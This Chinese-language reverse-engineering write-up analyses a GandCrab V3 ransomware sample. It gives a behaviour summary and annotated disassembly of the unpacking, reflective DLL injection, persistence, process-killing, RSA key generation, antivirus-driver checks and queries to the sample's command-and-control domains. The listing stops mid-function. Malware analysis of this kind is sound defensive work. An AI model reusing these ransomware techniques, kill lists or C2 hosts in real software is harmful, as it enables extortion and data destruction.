欢迎来到 嗅灵易学

零基础也能上手的脚本技术课,一对一答疑带你入门

[原创]GANDCRAB V3勒索病毒样本分析

[原创]GANDCRAB V3勒索病毒样本分析

相关文件:

sample.exe:病毒样本

dimuzd.exe:病毒样本复制到C:\Documents and Settings\Administrator\Application Data\Microsoft\目录下的文件

PE_1.exe:脱壳后的病毒样本

PE_2.dll:病毒样本注入到自身的dll

Shellcode:病毒样本解密出来的shellcode

CRAB-DECRYPT.txt:病毒样本释放的文件

1.txt.CRAB:被病毒样本加密后的文件

pidor.bmp:病毒样本设置的桌面背景图片


具体行为:

1:获取计算机用户名,计算机cpu类型,硬盘空间等信息并且创建互斥体防止多开

2:启动一个线程,在本机查找常见的杀毒软件的驱动文件,如果存在则结束运行

3:将样本文件复制到C:\Documents and Settings\Administrator\Application Data\Microsoft\目录下并修改为随机6个字母+“.exe”,并且设置为开机自动启动

4:遍历进程,终止下列进程:

“msftesql.exe","sqlagent.exe","sqlbrowser.exe","sqlservr.exe","sqlwriter.exe","oracle.exe","ocssd.exe","dbsnmp.exe","synctime.exe","mydesktopqos.exe","agntsvc.exeisqlplussvc.exe","xfssvccon.exe","mydesktopservice.exe","ocautoupds.exe","agntsvc.exeagntsvc.exe","agntsvc.exeencsvc.exe","firefoxconfig.exe","tbirdconfig.exe","ocomm.exe","mysqld.exe","mysqldnt.exe","mysqldopt.exe","dbeng50.exe","sqbcoreservice.exe","excel.exe","infopath.exe","msaccess.exe","mspub.exe","onenote.exe","outlook.exe","powerpnt.exe","steam.exe","sqlservr.exe","thebat.exe","thebat64.exe","thunderbird.exe","visio.exe","winword.exe","wordpad.exe"

5:生成RSA密钥用于加密文件

6:查询carder.bit, ns2.wowservers.ru carder.bit ,ns1.wowservers.ru服务器地址

7:连接服务器,讲计算机信息,RSA公钥,私钥等信息组合发送

8:遍历磁盘,获取磁盘类型,如果是本地磁盘,网络磁盘,RAM磁盘则感染该磁盘的文件,启动线程加密后缀不是:

.ani .cab .cpl .cur .diagcab .diagpkg .dll .drv .hlp .ldf .icl.icns .ico .ics .lnk .key .idx .mod .mpa .msc .msp .msstyles .msu .nomedia .ocx .prf .rom .rtp .scr .shs .spl .sys .theme .them .epack .exe .bat .cmd .CRAB .crab .GDCB .gdcb .gandcrab .yassine_lemmou,并且文件名不是"desktop.ini","autorun.inf","ntuser.dat","iconcache.db","bootsect.bak","boot.ini", "ntuser.dat.log", "thumbs.db", "CRAB-DECRYPT.txt",”*.sql”的文件,并且路径中不含"\ProgramData\", "\IETldCache\", "\Boot\", "\Program Files\","\Tor Browser\",” "Ransomware"” "\All Users\", "\Local Settings\","\Windows\".其它系统特殊文件夹,加密后的后缀改成. CRAB,并在被加密的文件路径目录及桌面生成CRAB-DECRYPT.txt

9:设置桌面背景图片为prdor.bmp

10:倒计时60秒关闭计算机机




分析记录:


解密出shellcode并执行

0040174D  |.  50            push    eax                              ; /pOldProtect

0040174E  |.  FF75 FC       push    dword ptr [ebp-4]                ; |NewProtect

00401751  |.  FF35 30634601 push    dword ptr [1466330]              ; |Size = 1A884 (108676.)

00401757  |.  FF35 E8214600 push    dword ptr [4621E8]               ; |Address = 00175A60

0040175D  |.  FF15 34E04000 call    dword ptr [<&KERNEL32.VirtualPro>; \VirtualProtect

00401763  |.  A1 E8214600   mov     eax, dword ptr [4621E8]

00401768  |.  8B1D 30634601 mov     ebx, dword ptr [1466330]

0040176E  |.  8B3D C0404100 mov     edi, dword ptr [4140C0]

00401774  |.  56            push    esi                              ; /lParam

00401775  |.  56            push    esi                              ; |wParam

00401776  |.  56            push    esi                              ; |Message

00401777  |.  56            push    esi                              ; |hWnd

00401778  |.  8945 F8       mov     dword ptr [ebp-8], eax           ; |

0040177B  |.  FF15 4CE14000 call    dword ptr [<&USER32.PostMessageA>; \PostMessageA

00401781  |.  53            push    ebx

00401782  |.  FF75 F8       push    dword ptr [ebp-8]

00401785  |.  893D E4214600 mov     dword ptr [4621E4], edi

0040178B  |.  E8 B9FCFFFF   call    00401449                         ;  shellcode解密函数

00401790  |.  90            nop

00401791  |.  8105 30634601>add     dword ptr [1466330], 388B2AFF

0040179B  |.  FF15 E8214600 call    dword ptr [4621E8]                 ;执行

地址00175A98和00175A9A处是两条花指令,nop掉即可,或者单步到00175A93时,按F8,否则od容易跑飞

00175A82    50              push    eax

00175A83    8D45 D8         lea     eax, dword ptr [ebp-28]

00175A86    50              push    eax

00175A87    8D45 A0         lea     eax, dword ptr [ebp-60]

00175A8A    50              push    eax

00175A8B    E8 0A080000     call    0017629A

00175A90    83C4 0C         add     esp, 0C

00175A93    E8 04000000     call    00175A9C

00175A98    0000            add     byte ptr [eax], al

00175A9A    0000            add     byte ptr [eax], al

00175A9C    58              pop     eax

00175A9D    8985 74FFFFFF   mov     dword ptr [ebp-8C], eax

00175AA3    8B00            mov     eax, dword ptr [eax]

00175AA5    85C0            test    eax, eax

将shellcede复制到自己程序的代码段并执行入口函数

00175D57    8B45 FC         mov     eax, dword ptr [ebp-4]

00175D5A    8985 4CFFFFFF   mov     dword ptr [ebp-B4], eax

00175D60    8B85 4CFFFFFF   mov     eax, dword ptr [ebp-B4]

00175D66    FF70 10         push    dword ptr [eax+10]               ; 0000CA00

00175D69    8B85 4CFFFFFF   mov     eax, dword ptr [ebp-B4]

00175D6F    8B4D F0         mov     ecx, dword ptr [ebp-10]

00175D72    0348 14         add     ecx, dword ptr [eax+14]

00175D75    51              push    ecx                              ; 01A50400 一段shellcode

00175D76    8B85 4CFFFFFF   mov     eax, dword ptr [ebp-B4]

00175D7C    8B8D 70FFFFFF   mov     ecx, dword ptr [ebp-90]

00175D82    0348 0C         add     ecx, dword ptr [eax+C]

00175D85    51              push    ecx                              ; 00401000

00175D86    E8 CB080000     call    00176656

0017626A    FF75 C0         push    dword ptr [ebp-40]

0017626D    FF55 D4         call    dword ptr [ebp-2C]

00176270    59              pop     ecx

00176271    8B85 60FFFFFF   mov     eax, dword ptr [ebp-A0]

00176277    8B40 0D         mov     eax, dword ptr [eax+D]

0017627A    8985 64FFFFFF   mov     dword ptr [ebp-9C], eax

00176280    8B85 64FFFFFF   mov     eax, dword ptr [ebp-9C]

00176286    0385 70FFFFFF   add     eax, dword ptr [ebp-90]

0017628C    C9              leave

0017628D  - FFE0            jmp     eax                              ; sample.00401612  到达OEP

反射式dll注入自身并调用入口点

004011BD  |> \8B89 C8424100 mov     ecx, dword ptr [ecx+4142C8]

004011C3  |.  53            push    ebx

004011C4  |.  56            push    esi

004011C5  |.  57            push    edi

004011C6  |.  E8 65FFFFFF   call    00401130

004011CB  |.  BF 50424100   mov     edi, 00414250

004011D0  |.  8D1C07        lea     ebx, dword ptr [edi+eax]

004011D3  |.  8B4B 20       mov     ecx, dword ptr [ebx+20]

004011D6  |.  895D FC       mov     dword ptr [ebp-4], ebx

004011D9  |.  E8 52FFFFFF   call    00401130

004011DE  |.  8B4B 24       mov     ecx, dword ptr [ebx+24]

004011E1  |.  8D3407        lea     esi, dword ptr [edi+eax]

004011E4  |.  E8 47FFFFFF   call    00401130

004011E9  |.  8B5B 18       mov     ebx, dword ptr [ebx+18]

004011EC  |.  8BF8          mov     edi, eax

004011EE  |.  81C7 50424100 add     edi, 00414250

004011F4  |.  EB 24         jmp     short 0040121A

004011F6  |>  8B0E          /mov     ecx, dword ptr [esi]

004011F8  |.  4B            |dec     ebx

004011F9  |.  E8 32FFFFFF   |call    00401130

004011FE  |.  05 50424100   |add     eax, 00414250

00401203  |.  68 B81D4100   |push    00411DB8                        ;  ASCII "ReflectiveLoader"

00401208  |.  50            |push    eax

00401209  |.  E8 22040000   |call    00401630

0040120E  |.  59            |pop     ecx

……

00401266   .  8DB8 50424100 lea     edi, dword ptr [eax+414250]

0040126C   .  8D45 E0       lea     eax, dword ptr [ebp-20]

0040126F   .  50            push    eax                              ; /pOldProtect

00401270   .  6A 40         push    40                               ; |NewProtect = PAGE_EXECUTE_READWRITE

00401272   .  68 00300100   push    13000                            ; |Size = 13000 (77824.)

00401277   .  68 50424100   push    00414250                         ; |Address = PE_1.00414250

0040127C   .  FF15 50E04000 call    dword ptr [<&KERNEL32.VirtualPro>; \VirtualProtect

00401282   .  85C0          test    eax, eax

00401284   .  74 30         je      short 004012B6

00401286   .  FFD7          call    edi                              ;  PE_1.0041A190

获取计算机信息,用户名,计算机组,计算机系统,硬盘空间等信息

01A24498    C746 04 AC04A30>mov     dword ptr [esi+4], 1A304AC       ; UNICODE "pc_user"

01A2449F    C746 10 9C04A30>mov     dword ptr [esi+10], 1A3049C      ; UNICODE "pc_name"

01A244A6    C746 18 0100000>mov     dword ptr [esi+18], 1

01A244AD    C746 1C 8804A30>mov     dword ptr [esi+1C], 1A30488      ; UNICODE "pc_group"

01A244B4    C746 28 8004A30>mov     dword ptr [esi+28], 1A30480      ; UNICODE "av"

01A244BB    C746 34 7004A30>mov     dword ptr [esi+34], 1A30470      ; UNICODE "pc_lang"

01A244C2    C746 40 6004A30>mov     dword ptr [esi+40], 1A30460      ; UNICODE "pc_keyb"

01A244C9    C746 4C 4C04A30>mov     dword ptr [esi+4C], 1A3044C      ; UNICODE "os_major"

01A244D0    C746 58 3C04A30>mov     dword ptr [esi+58], 1A3043C      ; UNICODE "os_bit"

01A244D7    C746 60 0100000>mov     dword ptr [esi+60], 1

01A244DE    C746 64 2804A30>mov     dword ptr [esi+64], 1A30428      ; UNICODE "ransom_id"

01A244E5    C746 78 2004A30>mov     dword ptr [esi+78], 1A30420      ; UNICODE "hdd"

01A244EC    8986 80000000   mov     dword ptr [esi+80], eax

01A244F2    C786 88000000 1>mov     dword ptr [esi+88], 1A30418      ; UNICODE "ip"

01A244FC    FF15 78B1A201   call    dword ptr [1A2B178]              ; kernel32.GetProcessHeap

……

01A2810C    8946 08         mov     dword ptr [esi+8], eax

01A2810F    51              push    ecx

01A28110    50              push    eax

01A28111    C745 EC 0001000>mov     dword ptr [ebp-14], 100

01A28118    FF15 4CB0A201   call    dword ptr [1A2B04C]              ; advapi32.GetUserNameW

01A2811E    837E 0C 00      cmp     dword ptr [esi+C], 0

01A28122    74 22           je      short 01A28146

01A28124    6A 04           push    4

01A28126    68 00300000     push    3000

01A2812B    6A 20           push    20

01A2812D    6A 00           push    0

01A2812F    C745 EC 1E00000>mov     dword ptr [ebp-14], 1E

01A28136    FFD7            call    edi

01A28138    8D4D EC         lea     ecx, dword ptr [ebp-14]

01A2813B    8946 14         mov     dword ptr [esi+14], eax

01A2813E    51              push    ecx

01A2813F    50              push    eax

01A28140    FF15 04B1A201   call    dword ptr [1A2B104]              ; kernel32.GetComputerNameW

01A28146    837E 18 00      cmp     dword ptr [esi+18], 0

……

01A2816F    50              push    eax

01A28170    68 E410A301     push    1A310E4                          ; UNICODE "Domain"

01A28175    68 F810A301     push    1A310F8                          ; UNICODE "SYSTEM\CurrentControlSet\services\Tcpip\Parameters"

01A2817A    68 02000080     push    80000002

01A2817F    E8 DCFEFFFF     call    01A28060

01A28184    85C0            test    eax, eax

01A28186    74 11           je      short 01A28199

01A28188    8B46 20         mov     eax, dword ptr [esi+20]

01A2818B    66:8338 00      cmp     word ptr [eax], 0

01A2818F    75 15           jnz     short 01A281A6

01A28191    68 6011A301     push    1A31160                          ; UNICODE "WORKGROUP"

01A28196    50              push    eax

01A28197    EB 08           jmp     short 01A281A1

创建互斥体,互斥体名为获取到的计算机信息。如果互斥体存在则结束本进程

01AB5169    68 FC04AC01     push    1AC04FC                          ; UNICODE "Global\"

01AB516E    56              push    esi

01AB516F    FF15 84B1AB01   call    dword ptr [1ABB184]              ; kernel32.lstrcpyW

01AB5175    56              push    esi

01AB5176    FF15 40B1AB01   call    dword ptr [1ABB140]              ; kernel32.lstrlenW

01AB517C    8D4C24 10       lea     ecx, dword ptr [esp+10]

01AB5180    8D0446          lea     eax, dword ptr [esi+eax*2]

01AB5183    50              push    eax

01AB5184    E8 672B0000     call    01AB7CF0

01AB5189  56                push    esi     ; MutexName = "Global\pc_group=WORKGROUP&ransom_id=6aa1d5d1fc51543e

01AB518A    6A 00           push    0

01AB518C    6A 00           push    0

01AB518E    FF15 80B1AB01   call    dword ptr [1ABB180]              ; kernel32.CreateMutexW

将自身复制到C:\Documents and Settings\Administrator\Application Data\Microsoft\目录下,文件名为随机6个字母。

01AB289E    53              push    ebx

01AB289F    53              push    ebx

01AB28A0    6A 03           push    3

01AB28A2    53              push    ebx

01AB28A3    6A 01           push    1

01AB28A5    68 00000080     push    80000000

01AB28AA    51              push    ecx

01AB28AB    FF15 48B1AB01   call    dword ptr [1ABB148]              ; kernel32.CreateFileW

01AB28B1    8BF8            mov     edi, eax

01AB28B3    83FF FF         cmp     edi, -1

01AB28B6    74 41           je      short 01AB28F9

01AB28B8    53              push    ebx

01AB28B9    57              push    edi

01AB28BA    FF15 60B1AB01   call    dword ptr [1ABB160]              ; kernel32.GetFileSize

01AB28C0    8945 FC         mov     dword ptr [ebp-4], eax

01AB28C3    E8 18080000     call    01AB30E0

01AB28E3    53              push    ebx

01AB28E4    57              push    edi

01AB28E5    FF15 3CB1AB01   call    dword ptr [1ABB13C]              ; kernel32.CreateFileMappingW

01AB28EB    8945 F4         mov     dword ptr [ebp-C], eax

01AB28EE    85C0            test    eax, eax

修改注册表,在HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce添加项“fadophupyvl,“

数据”C:\Documents and Settings\Administrator\Application Data\Microsoft\dyuhul.exe ”

01AB2ACB    6A 00           push    0

01AB2ACD    8D45 FC         lea     eax, dword ptr [ebp-4]

01AB2AD0    50              push    eax

01AB2AD1    6A 00           push    0

01AB2AD3    68 3F000F00     push    0F003F

01AB2AD8    6A 00           push    0

01AB2ADA    6A 00           push    0

01AB2ADC    6A 00           push    0

01AB2ADE    8D85 78FFFFFF   lea     eax, dword ptr [ebp-88]

01AB2AE4    50              push    eax                              ; SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce

01AB2AE5    68 02000080     push    80000002

01AB2AEA    FF15 00B0AB01   call    dword ptr [1ABB000]              ; advapi32.RegCreateKeyExW

01AB2AF0    85C0            test    eax, eax

01AB2AF2    75 32           jnz     short 01AB2B26

01AB2AF4    57              push    edi

01AB2AF5    FF15 40B1AB01   call    dword ptr [1ABB140]              ; kernel32.lstrlenW

01AB2AFB    03C0            add     eax, eax

01AB2AFD    50              push    eax

01AB2AFE    57              push    edi   ;   "C:\Documents and Settings\Administrator\Application Data\Microsoft\dyuhul.exe"

01AB2AFF    6A 01           push    1

01AB2B01    6A 00           push    0

01AB2B03    8D45 E4         lea     eax, dword ptr [ebp-1C]

01AB2B06    50              push    eax                              ; ValueName = "cozfgrboyac"

01AB2B07    FF75 FC         push    dword ptr [ebp-4]                ; hKey = AC

01AB2B0A    FF15 08B0AB01   call    dword ptr [1ABB008]              ; advapi32.RegSetValueExW

遍历进程,结束掉进程名为:

“msftesql.exe","sqlagent.exe","sqlbrowser.exe","sqlservr.exe","sqlwriter.exe","oracle.exe","ocssd.exe","dbsnmp.exe","synctime.exe","mydesktopqos.exe","agntsvc.exeisqlplussvc.exe","xfssvccon.exe","mydesktopservice.exe","ocautoupds.exe","agntsvc.exeagntsvc.exe","agntsvc.exeencsvc.exe","firefoxconfig.exe","tbirdconfig.exe","ocomm.exe","mysqld.exe","mysqldnt.exe","mysqldopt.exe","dbeng50.exe","sqbcoreservice.exe","excel.exe","infopath.exe","msaccess.exe","mspub.exe","onenote.exe","outlook.exe","powerpnt.exe","steam.exe","sqlservr.exe","thebat.exe","thebat64.exe","thunderbird.exe","visio.exe","winword.exe","wordpad.exe"的进程

01AB51F3    C74424 18 0C05A>mov     dword ptr [esp+18], 1AC050C      ; UNICODE "msftesql.exe"

01AB51FB    C74424 1C 2805A>mov     dword ptr [esp+1C], 1AC0528      ; UNICODE "sqlagent.exe"

01AB5203    C74424 20 4405A>mov     dword ptr [esp+20], 1AC0544      ; UNICODE "sqlbrowser.exe"

01AB520B    C74424 24 6405A>mov     dword ptr [esp+24], 1AC0564      ; UNICODE "sqlservr.exe"

01AB5213    C74424 28 8005A>mov     dword ptr [esp+28], 1AC0580      ; UNICODE "sqlwriter.exe"

01AB521B    C74424 2C 9C05A>mov     dword ptr [esp+2C], 1AC059C      ; UNICODE "oracle.exe"

01AB5223    C74424 30 B405A>mov     dword ptr [esp+30], 1AC05B4      ; UNICODE "ocssd.exe"

01AB522B    C74424 34 C805A>mov     dword ptr [esp+34], 1AC05C8      ; UNICODE "dbsnmp.exe"

01AB5233    C74424 38 E005A>mov     dword ptr [esp+38], 1AC05E0      ; UNICODE "synctime.exe"

01AB523B    C74424 3C FC05A>mov     dword ptr [esp+3C], 1AC05FC      ; UNICODE "mydesktopqos.exe"

01AB5243    C74424 40 2006A>mov     dword ptr [esp+40], 1AC0620      ; UNICODE "agntsvc.exeisqlplussvc.exe"

01AB524B    C74424 44 5806A>mov     dword ptr [esp+44], 1AC0658      ; UNICODE "xfssvccon.exe"

01AB5253    C74424 48 7406A>mov     dword ptr [esp+48], 1AC0674      ; UNICODE "mydesktopservice.exe"

01AB525B    C74424 4C A006A>mov     dword ptr [esp+4C], 1AC06A0      ; UNICODE "ocautoupds.exe"

01AB5263    C74424 50 C006A>mov     dword ptr [esp+50], 1AC06C0      ; UNICODE "agntsvc.exeagntsvc.exe"

01AB526B    C74424 54 F006A>mov     dword ptr [esp+54], 1AC06F0      ; UNICODE "agntsvc.exeencsvc.exe"

01AB5273    C74424 58 1C07A>mov     dword ptr [esp+58], 1AC071C      ; UNICODE "firefoxconfig.exe"

01AB527B    C74424 5C 4007A>mov     dword ptr [esp+5C], 1AC0740      ; UNICODE "tbirdconfig.exe"

01AB5283    C74424 60 6007A>mov     dword ptr [esp+60], 1AC0760      ; UNICODE "ocomm.exe"

01AB528B    C74424 64 7407A>mov     dword ptr [esp+64], 1AC0774      ; UNICODE "mysqld.exe"

01AB5293    C74424 68 8C07A>mov     dword ptr [esp+68], 1AC078C      ; UNICODE "mysqld-nt.exe"

01AB529B    C74424 6C A807A>mov     dword ptr [esp+6C], 1AC07A8      ; UNICODE "mysqld-opt.exe"

01AB52A3    C74424 70 C807A>mov     dword ptr [esp+70], 1AC07C8      ; UNICODE "dbeng50.exe"

01AB52AB    C74424 74 E007A>mov     dword ptr [esp+74], 1AC07E0      ; UNICODE "sqbcoreservice.exe"

01AB52B3    C74424 78 0808A>mov     dword ptr [esp+78], 1AC0808      ; UNICODE "excel.exe"

01AB52BB    C74424 7C 1C08A>mov     dword ptr [esp+7C], 1AC081C      ; UNICODE "infopath.exe"

01AB52C3    C78424 80000000>mov     dword ptr [esp+80], 1AC0838      ; UNICODE "msaccess.exe"

01AB52CE    C78424 84000000>mov     dword ptr [esp+84], 1AC0854      ; UNICODE "mspub.exe"

01AB52D9    C78424 88000000>mov     dword ptr [esp+88], 1AC0868      ; UNICODE "onenote.exe"

01AB52E4    C78424 8C000000>mov     dword ptr [esp+8C], 1AC0880      ; UNICODE "outlook.exe"

01AB52EF    C78424 90000000>mov     dword ptr [esp+90], 1AC0898      ; UNICODE "powerpnt.exe"

01AB52FA    C78424 94000000>mov     dword ptr [esp+94], 1AC08B4      ; UNICODE "steam.exe"

01AB5305    C78424 98000000>mov     dword ptr [esp+98], 1AC0564      ; UNICODE "sqlservr.exe"

01AB5310    C78424 9C000000>mov     dword ptr [esp+9C], 1AC08C8      ; UNICODE "thebat.exe"

01AB531B    C78424 A0000000>mov     dword ptr [esp+A0], 1AC08E0      ; UNICODE "thebat64.exe"

01AB5326    C78424 A4000000>mov     dword ptr [esp+A4], 1AC08FC      ; UNICODE "thunderbird.exe"

01AB5331    C78424 A8000000>mov     dword ptr [esp+A8], 1AC091C      ; UNICODE "visio.exe"

01AB533C    C78424 AC000000>mov     dword ptr [esp+AC], 1AC0930      ; UNICODE "winword.exe"

01AB5347    C78424 B0000000>mov     dword ptr [esp+B0], 1AC0948      ; UNICODE "wordpad.exe"

01AB5352    FF15 D8B0AB01   call    dword ptr [1ABB0D8]              ; kernel32.CreateToolhelp32Snapshot

01AB5358    6A 04           push    4

01AB535A    68 00300000     push    3000

01AB535F    68 2C020000     push    22C

01AB5364    8BF0            mov     esi, eax

01AB5366    6A 00           push    0

01AB5368    897424 1C       mov     dword ptr [esp+1C], esi

01AB536C    FF15 70B1AB01   call    dword ptr [1ABB170]              ; kernel32.VirtualAlloc

01AB5372    8BD8            mov     ebx, eax

01AB5374    85DB            test    ebx, ebx

01AB5376    74 13           je      short 01AB538B

01AB5378    C703 2C020000   mov     dword ptr [ebx], 22C

01AB537E    83FE FF         cmp     esi, -1

01AB5381    74 08           je      short 01AB538B

01AB5383    53              push    ebx

01AB5384    56              push    esi

01AB5385    FF15 D0B0AB01   call    dword ptr [1ABB0D0]              ; kernel32.Process32FirstW

01AB538B    8B3D E0B0AB01   mov     edi, dword ptr [1ABB0E0]         ; kernel32.CloseHandle

01AB5391    8D4B 24         lea     ecx, dword ptr [ebx+24]

01AB5394    33F6            xor     esi, esi

01AB5396    EB 08           jmp     short 01AB53A0

01AB5398    8DA424 00000000 lea     esp, dword ptr [esp]

01AB539F    90              nop

01AB53A0    51              push    ecx

01AB53A1    FF74B4 14       push    dword ptr [esp+esi*4+14]

01AB53A5    FF15 38B1AB01   call    dword ptr [1ABB138]              ; kernel32.lstrcmpiW

01AB53AB    85C0            test    eax, eax

01AB53AD    75 2C           jnz     short 01AB53DB

01AB53AF    FF73 08         push    dword ptr [ebx+8]

01AB53B2    50              push    eax

01AB53B3    6A 01           push    1

01AB53B5    FF15 1CB1AB01   call    dword ptr [1ABB11C]              ; kernel32.OpenProcess

01AB53BB    8BF8            mov     edi, eax

01AB53BD    85FF            test    edi, edi

01AB53BF    74 14           je      short 01AB53D5

01AB53C1    6A 00           push    0

01AB53C3    57              push    edi

01AB53C4    FF15 A4B0AB01   call    dword ptr [1ABB0A4]              ; kernel32.TerminateProcess

01AB53CA    57              push    edi

01AB53CB    8B3D E0B0AB01   mov     edi, dword ptr [1ABB0E0]         ; kernel32.CloseHandle

01AB53D1    FFD7            call    edi

01AB53D3    EB 06           jmp     short 01AB53DB

01AB53D5    8B3D E0B0AB01   mov     edi, dword ptr [1ABB0E0]         ; kernel32.CloseHandle

01AB53DB    46              inc     esi

01AB53DC    8D4B 24         lea     ecx, dword ptr [ebx+24]

01AB53DF    83FE 27         cmp     esi, 27

01AB53E2  ^ 72 BC           jb      short 01AB53A0

01AB53E4    8B7424 0C       mov     esi, dword ptr [esp+C]

01AB53E8    53              push    ebx

01AB53E9    56              push    esi

01AB53EA    FF15 D4B0AB01   call    dword ptr [1ABB0D4]              ; kernel32.Process32NextW

01AB5411    5D              pop     ebp

01AB5412    C3              retn

生成RSA密钥

01A26F30    55              push    ebp

01A26F31    8BEC            mov     ebp, esp

01A26F33    83EC 0C         sub     esp, 0C

01A26F36    68 000000F0     push    F0000000

01A26F3B    6A 01           push    1

01A26F3D    68 D80DA301     push    1A30DD8                          ; UNICODE "Microsoft Enhanced Cryptographic Provider v1.0"

01A26F42    6A 00           push    0

01A26F44    8D45 FC         lea     eax, dword ptr [ebp-4]

01A26F47    50              push    eax

01A26F48    FF15 20B0A201   call    dword ptr [1A2B020]              ; advapi32.CryptAcquireContextW

01A26F4E    85C0            test    eax, eax

01A26F50    75 36           jnz     short 01A26F88

01A26F52    FF15 88B1A201   call    dword ptr [1A2B188]              ; ntdll.RtlGetLastWin32Error

01A26F58    3D 16000980     cmp     eax, 80090016

01A26F5D    75 22           jnz     short 01A26F81

01A26F5F    6A 08           push    8

01A26F61    6A 01           push    1

01A26F63    68 D80DA301     push    1A30DD8                          ; UNICODE "Microsoft Enhanced Cryptographic Provider v1.0"

01A26F68    6A 00           push    0

01A26F6A    8D4D FC         lea     ecx, dword ptr [ebp-4]

01A26F6D    51              push    ecx

01A26F6E    FF15 20B0A201   call    dword ptr [1A2B020]              ; advapi32.CryptAcquireContextW

01A26F74    85C0            test    eax, eax

01A26F76    75 07           jnz     short 01A26F7F

01A26F78    33C0            xor     eax, eax

01A26F7A    E9 8D000000     jmp     01A2700C

01A26F7F    EB 07           jmp     short 01A26F88

01A26F81    33C0            xor     eax, eax

01A26F83    E9 84000000     jmp     01A2700C

01A26F88    8D55 F8         lea     edx, dword ptr [ebp-8]

01A26F8B    52              push    edx

01A26F8C    68 01000008     push    8000001

01A26F91    68 00A40000     push    0A400

01A26F96    8B45 FC         mov     eax, dword ptr [ebp-4]

01A26F99    50              push    eax

01A26F9A    FF15 34B0A201   call    dword ptr [1A2B034]              ; advapi32.CryptGenKey

01A26FA0    85C0            test    eax, eax

01A26FA2    75 01           jnz     short 01A26FA5

01A26FA4    90              nop

01A26FA5    C745 F4 0000000>mov     dword ptr [ebp-C], 0

01A26FAC    8B4D 0C         mov     ecx, dword ptr [ebp+C]

01A26FAF    51              push    ecx

01A26FB0    8B55 08         mov     edx, dword ptr [ebp+8]

01A26FB3    52              push    edx

01A26FB4    6A 00           push    0

01A26FB6    6A 06           push    6

01A26FB8    6A 00           push    0

01A26FBA    8B45 F8         mov     eax, dword ptr [ebp-8]

01A26FBD    50              push    eax

01A26FBE    FF15 1CB0A201   call    dword ptr [1A2B01C]              ; advapi32.CryptExportKey

01A26FC4    8B4D 14         mov     ecx, dword ptr [ebp+14]

01A26FC7    51              push    ecx

01A26FC8    8B55 10         mov     edx, dword ptr [ebp+10]

01A26FCB    52              push    edx

01A26FCC    6A 00           push    0

01A26FCE    6A 07           push    7

01A26FD0    6A 00           push    0

01A26FD2    8B45 F8         mov     eax, dword ptr [ebp-8]

01A26FD5    50              push    eax

01A26FD6    FF15 1CB0A201   call    dword ptr [1A2B01C]              ; advapi32.CryptExportKey

01A26FDC    8B4D F8         mov     ecx, dword ptr [ebp-8]

01A26FDF    51              push    ecx

01A26FE0    FF15 38B0A201   call    dword ptr [1A2B038]              ; advapi32.CryptDestroyKey

01A26FE6    6A 00           push    0

01A26FE8    8B55 FC         mov     edx, dword ptr [ebp-4]

01A26FEB    52              push    edx

01A26FEC    FF15 28B0A201   call    dword ptr [1A2B028]              ; advapi32.CryptReleaseContext

01A26FF2    6A 10           push    10

01A26FF4    6A 01           push    1

01A26FF6    68 D80DA301     push    1A30DD8                          ; UNICODE "Microsoft Enhanced Cryptographic Provider v1.0"

01A26FFB    6A 00           push    0

01A26FFD    8D45 FC         lea     eax, dword ptr [ebp-4]

01A27000    50              push    eax

01A27001    FF15 20B0A201   call    dword ptr [1A2B020]              ; advapi32.CryptAcquireContextW

01A27007    B8 01000000     mov     eax, 1

查找驱动程序klif.sys,kl1.sys,fsdfw.sys,srtsp.sys,srtsp64.sys,NavEx15.sys,NavEng.sys,如果存在则退出(一些杀软常见的驱动)

01AB2DF6    8D4C24 1C   lea     ecx, dword ptr [esp+1C]

01AB2DFA    C74424 20 6>mov     dword ptr [esp+20], 660069

01AB2E02    C74424 24 2>mov     dword ptr [esp+24], 73002E

01AB2E0A    C74424 28 7>mov     dword ptr [esp+28], 730079

01AB2E12    66:894424 2>mov     word ptr [esp+2C], ax

01AB2E17    C74424 0C 6>mov     dword ptr [esp+C], 6C006B

01AB2E1F    C74424 10 3>mov     dword ptr [esp+10], 2E0031

01AB2E27    C74424 14 7>mov     dword ptr [esp+14], 790073

01AB2E2F    C74424 18 7>mov     dword ptr [esp+18], 73           ; klif.sys

01AB2E37    E8 C4010000 call    01AB3000

01AB2E3C    85C0        test    eax, eax

01AB2E3E    75 59       jnz     short 01AB2E99

01AB2E40    8D4C24 0C   lea     ecx, dword ptr [esp+C]           ; kl1.sys

01AB2E44    E8 B7010000 call    01AB3000

01AB2E49    85C0        test    eax, eax

01AB2E4B    75 4C       jnz     short 01AB2E99

01AB2E4D    8D4C24 1C   lea     ecx, dword ptr [esp+1C]

01AB2E51    C74424 1C 6>mov     dword ptr [esp+1C], 730066

01AB2E59    C74424 20 6>mov     dword ptr [esp+20], 660064

01AB2E61    C74424 24 7>mov     dword ptr [esp+24], 2E0077

01AB2E69    C74424 28 7>mov     dword ptr [esp+28], 790073

01AB2E71    C74424 2C 7>mov     dword ptr [esp+2C], 73           ; fsdfw.sys

01AB2E79    E8 82010000 call    01AB3000

……

01AB31E3    C745 DC 6E0>mov     dword ptr [ebp-24], 67006E

01AB31EA    C745 E0 2E0>mov     dword ptr [ebp-20], 73002E

01AB31F1    C745 E4 790>mov     dword ptr [ebp-1C], 730079

01AB31F8    66:8945 E8  mov     word ptr [ebp-18], ax            ; srtsp.sys

01AB31FC    E8 FFFDFFFF call    01AB3000

……

01AB3208    8D4D BC     lea     ecx, dword ptr [ebp-44]          ; srtsp64.sys

01AB320B    E8 F0FDFFFF call    01AB3000

01AB3210    85C0        test    eax, eax

01AB3212    75 1C       jnz     short 01AB3230

01AB3214    8D4D A4     lea     ecx, dword ptr [ebp-5C]          ; NavEx15.sys

01AB3217    E8 E4FDFFFF call    01AB3000

01AB321C    85C0        test    eax, eax

01AB321E    75 10       jnz     short 01AB3230

01AB3220    8D4D D4     lea     ecx, dword ptr [ebp-2C]          ; NavEng.sys

01AB3223    E8 D8FDFFFF call    01AB3000

创建进程nslookup.exe,查询carder.bit, ns2.wowservers.ru carder.bit ,ns1.wowservers.ru服务器地址,但是服务器挂了,所以未查询成功

01AB5D31    68 E8030000     push    3E8

01AB5D36    FF15 A0B0AB01   call    dword ptr [1ABB0A0]              ; kernel32.Sleep

01AB5D3C    6A 04           push    4

01AB5D3E    68 00300000     push    3000

01AB5D43    53              push    ebx

01AB5D44    FF15 40B1AB01   call    dword ptr [1ABB140]              ; kernel32.lstrlenW

01AB5D4A    8D0445 02000000 lea     eax, dword ptr [eax*2+2]

01AB5D51    50              push    eax

01AB5D52    6A 00           push    0

